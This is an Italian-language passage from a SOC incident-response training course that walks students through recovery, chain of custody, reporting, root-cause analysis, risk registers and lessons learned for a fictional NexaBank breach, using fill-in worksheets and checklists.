04:10 UTC – Ripristinato srv-db-02 dal backup (snapshot del 25 settembre).

04:15 UTC – Verificata l'integrità del database HR con controllo hash SHA-256.

Fase 3: Convalida della sicurezza

Prima di dichiarare completato il ripristino:

- Monitorare SIEM per verificare la ricorrenza degli stessi IOC.
- Verificare che i blocchi del firewall rimangano in vigore (IP degli aggressori).
- Testare la politica di accesso al sistema (password complesse obbligatorie).
- Confermare che EDR/AV sia in esecuzione con firme aggiornate.

Fase 4: Comunicazione

- Informare il reparto IT che il ripristino è in corso.
- Fornire aggiornamenti ai dirigenti sui progressi compiuti.
- Coordinarsi con le risorse umane/l'ufficio legale se sono stati divulgati dati relativi a dipendenti o clienti.

Fase 5: Esercizio – Lista di controllo per il ripristino

Compilare questo mini tracker di ripristino:

Azione	**Completato (S/N)**	**Data/Ora**	**Note**
Malware rimosso	_____	_____	_____
Persistenza eliminata	_____	_____	_____
Patch applicate	_____	_____	_____
Backup ripristinato	_____	_____	_____
Integrità verificata	_____	_____	_____
Monitoraggio in atto	_____	_____	_____

Punto di controllo: Sezione 4.2

Prima di procedere, assicurati di:

- Hai rimosso il malware C persistence.
- Aver ripristinato sistemi puliti dal backup.
- Verificato l'integrità del sistema e dei dati.
- Ammodernato il ticket SOC con le fasi di eradicazione e ripristino.
- Comunicato lo stato di avanzamento del ripristino alle parti interessate.

Foglio di lavoro per il ripristino dell'eradicazione - Pulizia e ripristino dei sistemi

ID caso: _____

Nome dell'analista: _____

Data/ora di preparazione: _____

Sistemi interessati: _____

1. Rimozione della persistenza del malware

Documentare i file, i processi o i meccanismi di persistenza dannosi rimossi.

Elemento rimosso	Posizione	Azione intrapresa	Data/Ora	Note
_____		Eliminato / Messo in quarantena		_____
_____		Cron/chiave di registro disabilitata		_____

2. Patching del sistema

Registrazione delle vulnerabilità risolte e degli aggiornamenti applicati.

Patch/versione di sistema/servizio applicata		Data/ora	Note
_____	_____	_____	_____
_____	_____	_____	_____

3. Backup s Ripristino

Tracciare il ripristino da backup noti come funzionanti.

Data di utilizzo del backup del sistema/database	Data/ora di ripristino	Integrità verificata (S/N)	Note
_____	_____	[ ] S [ ] N	_____

Data di backup del sistema/database utilizzata	Data/ora di ripristino	Integrità verificata (S/N)	Note
_____	_____	[ ] Sì [ ] No	_____

4. Convalida della sicurezza

Assicurarsi che le misure di sicurezza siano attive prima di tornare alla produzione.

Controllo convalidato	Metodo di verifica	Data/ora	Note
Regole firewall aggiornate	_____		
Firme AV/EDR aggiornate	_____	_____	Politiche di
accesso/login testate	_____	_____	

5. Comunicazioni Escalation

Aggiornamenti dei registri forniti alle parti interessate.

Tipo di aggiornamento delle parti interessate (chiamata/e-mail/rapporto)	Data/ora	e Note
Operazioni IT	_____	_____
Dirigenti	_____	_____
Risorse umane/Affari legali	_____	_____

6. Note dell'analista

Osservazioni in formato testo libero, sfide o riferimenti incrociati ad altri fogli di lavoro.

Promemoria:

- Tutte le fasi di recupero C di eradicazione devono essere **documentate e contrassegnate con data e ora**.
- Non ripristinare mai dai backup prima di aver verificato che siano **puliti e integri**.
- Condividi gli aggiornamenti sui progressi con gli stakeholder tecnici e commerciali.

4.3 Catena di custodia della documentazione – Conservazione delle prove

Scenario

Hai contenuto la minaccia, eliminato il malware e ripristinato i sistemi. Ora è il momento di consolidare il tuo lavoro.
Nel mondo reale della sicurezza informatica, prove documentate in modo improprio possono:

- Indebolire la credibilità della tua organizzazione,
- portare a violazioni della conformità,
- O addirittura rendere le prove **inammissibili** nei procedimenti legali. Ecco

perché **la catena di custodia (CoC)** è fondamentale.

Fase 1: Che cos'è la catena di custodia?

- Un **registro cronologico** di come le prove sono state raccolte, archiviate, trasferite e analizzate.
- Garantisce **l'integrità** (nessuna manomissione), **l'autenticità** (fonte affidabile) e **la responsabilità** (chi le ha gestite).

Fase 2: Prove da conservare

Da questo incidente, le prove possono includere:

- Registri di sistema (autenticazione, firewall, esportazioni SIEM).
- File di dump della memoria.
- Immagine del disco.
- Campione di malware (ftpclient.exe).
- Fogli di lavoro forensi (log, memoria, disco, malware, cronologia).
- Rapporto SOC finale.

Fase 3: Registrazione della catena

Ogni elemento di prova deve includere:

- **Identificatore univoco** (ID caso + numero prova).
- **Descrizione** (di cosa si tratta).
- **Chi l'ha raccolta**.
- **Data/ora della raccolta**.
- **Valori hash** per l'integrità digitale.
- **Trasferimenti** (chi l'ha gestito, quando, perché).

Esempio di voce:

ID caso: 2025-IR-042

ID prova: E-003

Descrizione: ftpclient.exe (campione di malware) Raccolta

da: J. Smith, analista SOC

Data/ora: 27/09/2025 03:20 UTC SHA-

256: 91f2d5c8d...c44e92

Trasferito a: Laboratorio di informatica forense

Data/ora: 27/09/2025 04:05 UTC

Scopo: analisi sandbox

Fase 4: Registro della catena di custodia (esercitazione)

Compila la tabella seguente per il tuo caso:

Caso ID	Prove ID	Descrizione	Raccolta Da	Data/Ora	Hash(SHA-256)	Trasferito a	Note

Fase 5: Documentazione finale

- Allegare **tutti i fogli di lavoro** (registri, memoria, disco, malware, cronologia, eradicazione, ripristino).
- Allegare **il rapporto sugli incidenti SOC**.
- Archiviare tutte le prove in un **archivio sicuro** (unità crittografata o archivio prove forensi).
- Assicurarsi che **l'accesso sia limitato** e tracciato.

Punto di controllo: Sezione 4.3

Prima di completare la Fase 4, assicurati di:

- Hai registrato una catena di custodia completa per tutte le prove.
- Hai allegato tutti i fogli di lavoro dell'indagine.
- Le prove siano state conservate in un luogo sicuro.
- Aver aggiornato il ticket SOC con lo stato finale della documentazione.

Registro della catena di custodia - Registro della gestione delle prove

ID caso: _____

Titolo dell'incidente: _____

Nome dell'analista: _____

Data/ora di preparazione: _____

1. Informazioni sulle prove

ProvaID	Descrizione	Fonte (Registro/Memoria/Disco /Malware/Altro)	Formato/Dimensione	Hash (SHA-256)
_____	_____	_____	_____	_____
_____	_____	_____	_____	_____

2. Dettagli della raccolta

ProvaID	Raccolta da (Nome/Ruolo)	Data/ora di raccolta (UTC)	Luogo/Sistema
_____	_____	_____	_____
_____	_____	_____	_____

3. Trasferimento Custodia

Traccia ogni passaggio di consegne delle prove.

ID prova	Trasferito da	Trasferito a	Data/Ora (UTC)	Scopo	Firma

4. Sicurezza dell'archiviazione

ID prova	Luogo di archiviazione	Controlli di accesso	Data/ora di registrazione	Firma

5. Note dell'analista

Utilizzare questo spazio per chiarire il contesto, le anomalie o le istruzioni speciali di gestione.

Promemoria per gli studenti:

- Ogni azione (raccolta, spostamento, analisi, archiviazione) deve essere registrata.
- Utilizza **ID prove coerenti** in tutti i fogli di lavoro e nel rapporto sugli incidenti SOC.
- Non interrompere mai la catena di custodia: una volta interrotta, le prove possono perdere validità legale.

4.4 Redazione del rapporto finale sugli incidenti: dalle prove al riassunto esecutivo

Scenario

Hai:

- Contenuto la minaccia
- Eliminato il malware e la persistenza
- Recuperato sistemi puliti
- Documentato tutte le prove con una catena di custodia

Ora è il momento di **raccogliere questi risultati in un unico documento**: il *rapporto finale sull'incidente*.

Questo rapporto sarà letto da:

- **Dirigenti** → necessitano di una sintesi chiara dell'impatto Stato C
- **Team tecnici** → necessitano di prove dettagliate per il follow-up
- **Conformità legale** → necessitano di prove della catena di custodia per gli audit

Fase 1: Scopo del rapporto

Il rapporto deve:

- Raccontare la **dinamica dell'incidente** (dall'allerta al ripristino).
- Mostrare **quali sono stati gli effetti** e **come sono stati risolti**.
- Fornire una **registrazione della gestione delle prove**.
- Raccomandare **miglioramenti preventivi**.

Fase 2: Struttura del rapporto

Ecco lo schema consigliato (basato sul modello di rapporto sugli incidenti SOC già in vostro possesso):

1. **Sommario esecutivo**

- Non tecnico, 1-2 paragrafi
- Descrizione dell'incidente, impatto sull'attività, stato della risoluzione

2. **Dettagli dell'incidente**
    - Fonte di rilevamento, sistemi interessati, account coinvolti, gravità
3. **Risultati dell'indagine**
    - Eventi chiave della cronologia (riassunti)
    - Indicatori di compromissione (IOC)
    - Prove raccolte (riferimento ai fogli di lavoro C registro di custodia)
4. **Azioni di risposta**
    - Misure di contenimento, eradicazione e ripristino (con indicazione dei tempi)
5. **Impatto sull'attività**
    - Quali dati/sistemi sono stati interessati
    - Esposizione legale, normativa o regolamentare
6. **Raccomandazioni**
    - Controlli di sicurezza
    - Modifiche alle politiche
    - Miglioramenti alla formazione o al monitoraggio
7. **Appendici (facoltative)**
    - Fogli di lavoro (registri, memoria, disco, malware, cronologia)
    - Registro della catena di custodia
    - Screenshot o esportazioni dei registri

Fase 3: Linee guida per la redazione

- **Mantenere il riassunto esecutivo breve e chiaro** (evitare il gergo tecnico).
- **Basare i risultati solo su prove** (nessuna speculazione).
- **Utilizzare i timestamp in modo coerente in UTC.**

- **Separare i fatti dalle raccomandazioni** (ciò che è accaduto rispetto a ciò che dovrebbe essere fatto).

Fase 4: Mini esercizio

Gli studenti redigono **il** loro **riassunto esecutivo** utilizzando questa traccia:

"Scrivi un riassunto esecutivo di un paragrafo che descriva l'incidente alla NexaBank, includendo:

- La natura dell'attacco
- Quali dati/sistemi sono stati colpiti
- In che modo il team SOC ha contenuto ed eliminato il problema
- Lo stato attuale del ripristino.

Fase 5: Risultato finale

- Presentare un **rapporto finale sulla risposta all'incidente (4-6 pagine)**.
- Allegare i fogli di lavoro e la catena di custodia come appendici.
- Contrassegnare il ticket SOC come **Chiuso - Rapporto finale inviato**.

Punto di controllo: Sezione 4.4

Prima di passare alla Fase 5, assicurarsi di:

- Hai redatto un rapporto finale sull'incidente.
- Hai allegato i fogli di lavoro e i registri di custodia.
- Di aver redatto un chiaro riassunto esecutivo per la dirigenza.
- Chiusura del ticket SOC con "Rapporto finale inviato".

Fase 5: Analisi post-incidente

5.1 Analisi delle cause alla radice – Identificazione della vulnerabilità sfruttata

Scenario

L'incidente NexaBank è stato contenuto e segnalato. Ora, il team SOC deve determinare la **causa principale**, ovvero la vulnerabilità sottostante che ha consentito l'accesso all'autore dell'attacco. Individuare la causa principale è fondamentale per:

- Prevenire il ripetersi dell'incidente
- Rafforzare le difese
- Informare i dirigenti e le autorità di regolamentazione

Fase 1: Esaminare le prove

Utilizzare tutti i dati raccolti (log, memoria, disco, analisi del malware, cronologia) per individuare con precisione *come* l'autore dell'attacco ha ottenuto l'accesso.

Esempio di prove relative a questo caso:

- Servizio di accesso remoto non aggiornato ancora su una versione precedente.
- L'account privilegiato dbadmin ha effettuato l'accesso alle 02:41 UTC da un IP estero.
- Non è richiesta l'autenticazione a più fattori (MFA).
- Il malware (ftpclient.exe) è stato rilasciato ed eseguito pochi minuti dopo il login.

Fase 2: Individuare il punto debole

Possibili categorie di cause principali:

- **Tecniche** → software non aggiornato, antivirus mancante, firewall configurato in modo errato
- **Umani** → phishing, password deboli, negligenza interna
- **Politica** → controllo degli accessi obsoleto, cicli di patch lenti, nessuna applicazione

dell'autenticazione a più fattori (MFA) Esempio per NexaBank:

- Causa principale: *compromissione delle credenziali dell'account dbadmin (probabilmente riutilizzate o ottenute tramite phishing) combinata con la mancanza di MFA e il ritardo nell'applicazione delle patch al servizio SSH.*

Fase 3: Documentare la causa principale

Una dichiarazione forte sulla causa principale dovrebbe essere:

- **Specifico** (non solo "sicurezza debole")
- **Basata su prove** (log, malware, cronologia)
- **Attuabile** (porti a una chiara soluzione)

Esempio di dichiarazione:

"L'autore dell'attacco ha ottenuto l'accesso tramite l'account dbadmin, che non disponeva di MFA. I registri suggeriscono che le credenziali sono state compromesse (probabilmente tramite phishing). Il sistema utilizzava una versione obsoleta di OpenSSH, aumentando ulteriormente il rischio".

Fase 4: Esercizio – Tabella delle cause principali

Gli studenti completano la tabella in base al loro caso.

Categoria Debolezza osservata	Prove a sostegno	Perché sfruttabile?
Tecnico	_____	Umano
_____		Politica
_____		

Fase 5: Risultato atteso

- **Foglio di lavoro sulle cause principali** (1-2 pagine) con:
    - Punti deboli identificati (tecnici, umani, politici)
    - Prove a sostegno di ciascuna
    - Dichiarazione finale sulle cause principali

Punto di controllo: Sezione 5.1

Prima di proseguire, assicurati di:

- Hai esaminato tutte le fonti di prova.
- Identificato almeno una causa principale (tecnica, umana o politica).
- Hai redatto una dichiarazione chiara e basata sulle prove relativa alla causa principale.
- Hai inviato il foglio di lavoro sulla causa principale.

Foglio di lavoro sulla causa principale – Analisi post-incidente

ID caso: _____

Titolo dell'incidente: _____

Data di preparazione: _____

Nome dell'analista: _____

1. Fonti di prova esaminate

(Elencare tutte le prove utilizzate per determinare la causa principale: registri, malware, disco, memoria, cronologia, avvisi SIEM).

_____

_____

_____

2. Punti deboli identificati

Analizzare le vulnerabilità tecniche, umane e politiche che hanno contribuito all'incidente.

Categoria	Debolezza osservata	Prove a sostegno	Perché sfruttabile?
Tecnico	_____	_____	Umano
_____	_____	_____	Politica
_____	_____	_____	

3. Dichiarazione sulla causa principale

(Scrivi una descrizione concisa e basata su prove della causa principale dell'incidente).

_____

_____

4. Fattori che hanno contribuito (facoltativo)

(Elencare ulteriori fattori che hanno reso l'attacco più facile o più dannoso).

5. Note dell'analista

(Qualsiasi contesto, sfida o incertezza che valga la pena registrare).

Promemoria per gli studenti:

- Siate specifici, evitate cause vaghe come "sicurezza debole".
- La causa principale non è solo "il malware", ma anche la **vulnerabilità che ha permesso al malware di infiltrarsi.**
- Fate sempre riferimento alle **prove** raccolte durante la vostra indagine.

5.2 Analisi dell'impatto sul business – Valutazione dei danni

Scenario

La causa principale ci dice *come l'aggressore è riuscito a entrare*. Ora dobbiamo chiederci: *qual è stato l'impatto?*
Una revisione dell'impatto sul business traduce i dettagli tecnici in conseguenze organizzative, fondamentali per i dirigenti, i team legali e quelli addetti alla conformità.

Fase 1: identificare cosa è stato compromesso

Esaminare i risultati dell'indagine (log, disco, malware, cronologia):

- **Sistemi interessati** → server, endpoint, account cloud
- **Dati consultati/sottratti** → dati sensibili relativi alle risorse umane/ai clienti, proprietà intellettuale
- **Utenti interessati** → account dei dipendenti, account privilegiati

Esempio (caso NexaBank):

- Sistemi: server database HR (srv-db-02)
- Dati: employee_data.xlsx, salaries.csv
- Utenti: account privilegiato dbadmin

Fase 2: Valutazione delle funzioni aziendali interessate

Collegare gli effetti tecnici alle **operazioni aziendali**:

- Tempo di inattività → I servizi sono stati interrotti?
- Produttività → I dipendenti hanno perso l'accesso?
- Impatto sui clienti → Gli account/i dati dei clienti sono stati messi a rischio?
- Esposizione normativa → Obblighi GDPR, HIPAA, PCI-DSS? Esempio:
- Nessun tempo di inattività per i clienti, ma esposizione **delle informazioni personali** sensibili **dei dipendenti**.
- Rischio legale ai sensi **delle leggi sulla protezione dei dati** (ad es. GDPR, privacy a livello statale).

- Perdita di fiducia dei dipendenti e potenziale danno alla reputazione.

Fase 3: Valutare la gravità

Classificare l'impatto in base a dimensioni chiave:

Categoria	**Impatto**	**Gravità (bassa/media/alta)**
Riservatezza	Dati HR sottratti	Alta
Integrità	Database non alterato	Bassa
Disponibilità	Nessun tempo di inattività significativo	Bassa
Finanziario	Possibilità di sanzioni normative	Media
Reputazione	Potenziale perdita di fiducia	Media

Fase 4: Esercizio – Tabella dell'impatto sul business

Gli studenti compilano il modulo in base al caso.

Aspetto	**Cosa è stato influenzato**	**Descrizione dell'impatto**	**Gravità**
Sistemi	_____		
Dati	_____		
Utenti	_____		
Operazioni	_____	Conformità __	

_____

Fase 5: Risultato atteso

- Inviare una **sintesi dell'impatto aziendale** (2-3 pagine).
- Deve includere:
    - Sistemi interessati

- Dati sottratti/a rischio
- Impatto sugli utenti
- Conseguenze operative/normative
- Valutazione della gravità

Punto di controllo: Sezione 5.2

Prima di procedere, assicurarsi di:

- Identificare i sistemi, i dati e gli utenti interessati.
- Di aver collegato l'impatto tecnico alle funzioni aziendali.
- Di aver valutato la gravità (riservatezza, integrità, disponibilità, aspetti finanziari, reputazione).
- Di aver inviato il riepilogo dell'impatto aziendale.

Foglio di lavoro sull'impatto aziendale - Analisi post-incidente

ID caso: _____

Titolo dell'incidente: _____

Data di preparazione: _____

Nome dell'analista: _____

1. Sistemi interessati

(Elencare i server, gli endpoint, i servizi cloud o le applicazioni interessati).

2. Dati interessati

(Specificare i file sensibili, i database o i dati dei clienti/dipendenti a cui è stato effettuato l'accesso o che sono stati sottratti).

3. Utenti interessati

(Conti, reparti o gruppi di utenti coinvolti.)

4. Impatto operativo

(Descrivere in che modo le operazioni aziendali sono state interrotte: tempi di inattività, perdita di produttività, degrado del servizio).

---

5. Impatto sulla conformità/legale

(Selezionare le voci applicabili e descriverle).

- Normative sulla protezione dei dati (ad es. GDPR, CCPA)
- Normative sui servizi finanziari (ad es. PCI-DSS, SOX)
- Normative in materia di assistenza sanitaria (ad es. HIPAA)
- Altro: _____

Dettagli:

---

6. Valutazione della gravità dell'impatto

(Assegnare un punteggio a ciascuna categoria: Basso/Medio/Alto).

Categoria	**Impatto osservato Gravità dell'**	**e (B/M/A)**
Riservatezza	_____	
Integrità	_____	
Disponibilità	_____	
Finanziario	_____	
Reputazione	_____	

7. Note degli analisti

(Qualsiasi contesto, ipotesi o incertezza).

Promemoria per gli studenti:

- Siate specifici (indicare i nomi dei sistemi e dei dati, non solo "server" o "database").
- Collegate sempre l'impatto aziendale alle **operazioni e alla conformità**, non solo al danno tecnico.
- Pensate come un CISO o un dirigente: *in che modo questo influisce sull'azienda?*

5.3 Aggiornamento del registro dei rischi - Acquisizione di nuovi rischi

Scenario

Ogni incidente grave mette in luce rischi che l'organizzazione non stava monitorando completamente. L'aggiornamento del **registro dei rischi** garantisce che tali rischi siano formalmente documentati, classificati in ordine di priorità e assegnati ai responsabili, in modo che non vengano trascurati.

Fase 1: Esaminare i risultati dell'impatto delle cause alla radice

Prima di aggiungere rischi, ricollegati all'analisi precedente:

- Causa principale (come è entrato l'aggressore)
- Impatto sul business (cosa è stato colpito)

Esempio (NexaBank):

- Punto debole: nessuna autenticazione a più fattori (MFA) sugli account privilegiati
- Impatto: esfiltrazione dei dati delle risorse umane
- Rischio: "Accesso non autorizzato a sistemi sensibili a causa della mancata applicazione dell'autenticazione a più fattori".

Fase 2: definire chiaramente i nuovi rischi

Ogni voce relativa al rischio deve includere:

- **Descrizione del rischio**
- **Fonte della minaccia** (ad es. aggressore esterno, minaccia interna)
- **Vulnerabilità** sfruttata
- **Probabilità** (bassa/media/alta)
- **Impatto** (basso/medio/alto)
- **Punteggio di rischio** (Impatto × Probabilità)
- **Strategia di mitigazione**
- **Responsabile** (team/ruolo responsabile)

- **Stato** (Aperto, Mitigato, Accettato)

Fase 3: Creare voci di esempio

Esempio 1 – Rischio tecnico

- Rischio: accesso non autorizzato ad account privilegiati a causa della mancanza di MFA
- Fonte della minaccia: aggressore esterno
- Vulnerabilità: mancata applicazione dell'autenticazione a più fattori (MFA)
- Probabilità: alta
- Impatto: elevato
- Punteggio: critico
- Mitigazione: applicare l'autenticazione a più fattori su tutti gli account amministrativi entro 30 giorni
- Responsabile: Team di sicurezza IT
- Stato: Aperto

Esempio 2 – Rischio umano/politico

- Rischio: i dipendenti potrebbero riutilizzare le password sia per gli account personali che per quelli di lavoro
- Fonte della minaccia: aggressori esterni tramite credential stuffing
- Vulnerabilità: scarsa igiene degli account, nessuna formazione obbligatoria
- Probabilità: media
- Impatto: elevato
- Punteggio: Alto
- Mitigazione: formazione sulla consapevolezza + rilevamento tecnico del riutilizzo delle password
- Responsabile: Team di sensibilizzazione alla sicurezza
- Stato: In corso

Fase 4: Esercizio – Aggiungere almeno due rischi

Gli studenti devono documentare **un** rischio **tecnico** e **un** rischio **umano/normativo** individuati durante l'incidente.

Campo	Rischio 1 (tecnico)	Rischio 2 (umano/politico)
Descrizione del rischio	_____	
Fonte della minaccia	_____	
Vulnerabilità	_____	
Probabilità	_____	
Impatto	_____	
Punteggio di rischio	_____	
Strategia di mitigazione	_____	
Responsabile	_____	
Stato	_____	

Fase 5: Risultato atteso

- Invia un **foglio di lavoro aggiornato del registro dei rischi** con almeno **2-3 nuove voci** direttamente collegate all'incidente.
- Questo risultato simula il modo in cui i rischi vengono integrati nei processi di gestione dei rischi in corso.

Punto di controllo: Sezione 5.3

Prima di proseguire, assicurarsi di:

- Di aver esaminato i risultati relativi alle cause principali e all'impatto.
- Di aver identificato almeno un rischio tecnico e un rischio umano/politico.
- Di averli aggiunti al Registro dei rischi compilando tutti i campi.
- Aver inviato il registro aggiornato.

Aggiornamento del Registro dei rischi – Post-incidente

ID caso: _____

Titolo dell'incidente: _____

Data di preparazione: _____

Nome dell'analista: _____

1. Nuove voci di rischio

(Aggiungere almeno **2 rischi** identificati da questo incidente: uno tecnico e uno umano/politico).

Campo	Voce di rischio 1	Voce di rischio 2
Descrizione del rischio		
Risorsa interessata		
Fonte della minaccia		
Vulnerabilità sfruttata		
Probabilità (B/M/A)		
Impatto (B/M/A)		
Punteggio di rischio (impatto × probabilità)		
Strategia di mitigazione		
Responsabile del rischio (team/ruolo)		
Stato (Aperto/Mitigato/Accettato)		

2. Note s Giustificazione

(Spiegare perché questi rischi sono stati aggiunti e in che modo sono collegati all'incidente).

3. Passi successivi

(Azioni da intraprendere per mitigare o monitorare tali rischi).

- Aggiungere i rischi al registro centrale
- Assegnare responsabili e scadenze
- Monitorare i progressi nella mitigazione nella revisione mensile della sicurezza

Promemoria per gli studenti:

- I rischi devono essere **specifici, basati su prove concrete e attuabili**.
- Non limitarti a dire "sicurezza debole", ma descrivi la **debolezza effettiva** (ad esempio, "Nessuna autenticazione a più fattori sugli account amministrativi").
- Una buona voce ha sempre un **percorso di mitigazione chiaro**.

5.4 Workshop sulle lezioni apprese – Analisi dell'incidente come squadra

Scenario

Una volta che l'incidente è stato contenuto e documentato, il SOC non si limita a passare oltre, ma organizza un **workshop sulle lezioni apprese** con tutte le parti interessate.
L'obiettivo: identificare **cosa ha funzionato, cosa non ha funzionato e cosa deve cambiare** a livello tecnico, umano e organizzativo.

Fase 1: riunire le persone giuste

In un contesto reale, questa revisione non riguarda solo l'IT. Comprende:

- **Analisti SOC e responsabili della risposta agli incidenti** → Quali misure di rilevamento e risposta hanno funzionato?
- **Operazioni IT** → Il contenimento e il ripristino sono avvenuti senza intoppi?
- **Risorse umane** → Se sono stati coinvolti rischi interni o dispositivi dei dipendenti.
- **Legale/Conformità** → Segnalazioni normative, gestione delle prove.
- **Dirigenti/Management** → Impatto a livello aziendale e propensione al rischio.

Esempio (NexaBank):

- SOC: la valutazione degli avvisi è stata rapida, ma mancava un piano d'azione per l'esfiltrazione del database.
- Operazioni IT: l'isolamento del server ha causato 45 minuti di downtime, con conseguente impreparazione dell'azienda.
- Legale: incertezza sul fatto che l'esposizione dei dati delle risorse umane richieda una segnalazione obbligatoria.

Fase 2: Strutturare la revisione

Il facilitatore dovrebbe guidare la discussione utilizzando una **serie di domande semplici**:

1. Cosa è andato bene?
2. Cosa non ha funzionato?
3. Cosa dovremmo fare diversamente la prossima volta?

4. Quali azioni possiamo intraprendere immediatamente?

Fase 3: Documentare i punti di forza

Catturare i successi che vale la pena

ripetere. Esempio:

- Il SIEM ha segnalato un accesso sospetto entro 2 minuti.
- Il SOC ha segnalato il caso a un analista senior in meno di 10 minuti.
- I log sono stati conservati correttamente → nessuna perdita di prove.

Fase 4: Documentare i punti deboli

Registrare i fallimenti, le lacune o i

ritardi. Esempio:

- Nessuna autenticazione a più fattori (MFA) sugli account privilegiati.
- Nessun playbook chiaro per la "fuga di dati tramite FTP".
- Ritardi nella comunicazione tra il SOC e il team legale.

Fase 5: Assegnare le azioni da intraprendere

Trasforma le lezioni in **miglioramenti misurabili**.

Azione	**Azione da intraprendere**	**Responsabile**	**Scadenza**
Nessuna autenticazione a più fattori (MFA) per gli amministratori	Applicare l'autenticazione a più fattori entro 30 giorni	Sicurezza IT	30 giorni
Manca il playbook	Redigere una bozza del playbook IR "Esfiltrazione dei dati"	Responsabile SOC	45 giorni
Incertezza giuridica	Chiarire gli obblighi normativi con un consulente legale	Legale	14 giorni

Fase 6: Risultato atteso

- Presentare una **sintesi delle lezioni apprese** (2-3 pagine).

- Deve includere:
    - Punti di forza principali (cosa ha funzionato)
    - Punti deboli (cosa non ha funzionato)
    - Azioni da intraprendere con responsabili/scadenze

Punto di controllo: Sezione 5.4

Prima di proseguire, assicurati di:

- Di aver invitato tutte le parti interessate.
- Di aver documentato almeno **3 punti di forza** e **3 punti deboli**.
- Di aver convertito i punti deboli in **azioni concrete**.
- Presentazione della sintesi delle lezioni apprese.

Workshop sulle lezioni apprese – Revisione post-incidente

ID caso: _____

Titolo dell'incidente: _____

Data della revisione: _____

Facilitatore: _____

Partecipanti (squadre/nomi): _____

1. Osservazioni generali

Note in formato testo libero su come si è svolto l'incidente e eventuali riflessioni immediate.

_____

_____

_____

2. Punti di forza - Cosa ha funzionato bene

(Elencare almeno 3 esempi di rilevamento, contenimento, comunicazione o ripristino efficaci).

Area	Cosa ha funzionato bene
Rilevamento	_____
Contenimento	_____
Eradicazione	_____
Recupero	_____
Comunicazione	_____

3. Punti deboli: cosa ci ha ostacolato o rallentato

(Elenca almeno 3 problemi che hanno causato ritardi, errori o rischi.)

Area	Cosa deve essere migliorato
Rilevamento	_____
Contenimento	_____
Eradicazione	_____
Recupero	_____
Comunicazione	_____

4. Azioni da intraprendere

Misure concrete per affrontare i punti deboli e rafforzare i punti di forza.

Azione	Responsabile	Scadenza	Priorità (H/M/L)
_____	_____	_____	_____
_____	_____	_____	_____

5. Sintesi delle lezioni apprese

(Scrivi una breve descrizione dei punti chiave tratti dall'incidente).

_____

_____

Promemoria per gli studenti:

- Siate **specifici** (ad esempio, "mancanza di MFA sugli amministratori") e non vaghi ("controlli di accesso deboli").
- Ogni punto debole deve corrispondere ad almeno **un'azione da intraprendere**.
- Assegnare **responsabili e scadenze**, altrimenti lo stesso problema potrebbe ripresentarsi.

5.5 Aggiornamenti del manuale delle politiche — Trasformare le lezioni in azioni

Scenario

Il workshop sulle lezioni apprese ha messo in luce sia i punti di forza che quelli deboli. Ora è il momento di **formalizzare i miglioramenti** aggiornando:

- **Politiche** → regole di alto livello (ad esempio, "Tutti gli account amministrativi devono utilizzare l'autenticazione a più fattori")
- **Playbook** → guide operative dettagliate per il SOC (ad esempio, "Lista di controllo per la risposta all'esfiltrazione dei dati").

Fase 1: Identificare le lacune nelle politiche

Le politiche definiscono *ciò che deve essere fatto*. Individua le aree in cui le regole erano poco chiare, obsolete o mancanti.

Esempio (NexaBank):

- Lacuna nella politica: nessun requisito di autenticazione a più fattori (MFA) per gli account privilegiati.
- Aggiornamento della politica: "Tutti gli account privilegiati e con accesso remoto devono applicare l'autenticazione a più fattori entro 30 giorni".

Fase 2: Identificare le lacune nei playbook

I playbook definiscono *come farlo*. Cerca i casi in cui i responsabili della risposta non avevano una guida o disponevano di procedure obsolete.

Esempio (NexaBank):

- Lacuna nel playbook: nessuna procedura per rispondere a trasferimenti di file in uscita di grandi dimensioni.
- Aggiornamento del playbook: aggiungere la checklist **"Risposta all'esfiltrazione dei dati"**:
    - Passaggio 1: confermare il traffico anomalo con una query SIEM
    - Fase 2: isolare il server interessato
    - Fase 3: Informare il responsabile SOC + l'ufficio legale
    - Fase 4: Acquisizione dei file sottratti per l'analisi forense

Fase 3: Documentare gli aggiornamenti

Ogni aggiornamento deve includere:

- Versione attuale della politica/del playbook
- Problema identificato
- Modifica proposta
- Responsabile (persona/team responsabile)
- Scadenza per l'implementazione

Fase 4: Esercizio – Bozza degli aggiornamenti

Gli studenti devono redigere almeno **1 aggiornamento delle politiche** e **1 aggiornamento del playbook**.

Tipo	**Versione attuale**	**Problema identificato**	**Aggiornamento proposto**	**Proprietario**	**Scadenza**
Politica					
Manuale					

Fase 5: Risultato atteso

- Inviare una **nota di aggiornamento del playbook delle politiche** (2-3 pagine).
- Deve includere:
    - Almeno **1 aggiornamento delle politiche**
    - Almeno **1 aggiornamento del playbook**
    - Motivazione di ciascun aggiornamento
    - Responsabile + scadenza

Punto di controllo: Sezione 5.5

Prima di procedere, assicurati di:

- Di aver identificato almeno una lacuna nella politica e una lacuna nel playbook.

- Di aver proposto aggiornamenti chiari che colmino tali lacune.
- Aver assegnato i responsabili e le scadenze per l'implementazione.
- Presentato un promemoria di aggiornamento del manuale delle politiche C.

Foglio di lavoro sull'aggiornamento del manuale delle politiche - Miglioramenti post-incidente

ID caso: _____

Titolo dell'incidente: _____

Data dell'aggiornamento: _____

Preparato da: _____

1. Aggiornamenti delle politiche

Registra le modifiche alle **regole di alto livello**.

Area politica	Politica attuale	Problema individuato	Proposto Aggiornamento	Titolare	Scadenza	Approvazione necessaria (S/N)
_____	_____	_____	_____	_____		[ ] S [ ] N
_____	_____	_____	_____	_____		[ ] S [ ] N

2. Aggiornamenti del playbook

Acquisizione degli aggiornamenti alle **procedure SOC dettagliate**.

Passaggio del playbook	Procedura attuale	Problema identificato	Aggiornamento proposto	Responsabile	Scadenza
_____	_____	_____	_____	_____	_____
_____	_____	_____	_____	_____	_____

3. Nuovi controlli o regole

Elencare eventuali misure tecniche/operative aggiuntive da aggiungere.

Tipo di controllo	Descrizione	Titolare	Scadenza
Regola SIEM	_____		

Tipo di controllo	Descrizione	Proprietario
Regola firewall	**scadenza**	_____
_____	Politica dell'account	_____

4. Riepilogo dei miglioramenti

Scrivi una breve descrizione che riassuma gli aggiornamenti principali.

Promemoria per gli studenti:

- **Politiche = cosa deve essere fatto.**
- **Linee guida = come farlo.**
- Gli aggiornamenti devono essere **specifici, attuabili e assegnati a un responsabile con una scadenza.**

5.6 Raccomandazioni – Costruire una posizione di sicurezza più forte

Scenario

Dopo aver documentato le cause principali, l'impatto, i rischi, gli insegnamenti tratti e gli aggiornamenti delle politiche/linee guida
, il passo finale consiste nel formulare **raccomandazioni lungimiranti**.
Queste vanno oltre la risoluzione dell'incidente: rafforzano **la maturità** e la resilienza complessive di NexaBank **in materia di sicurezza**.

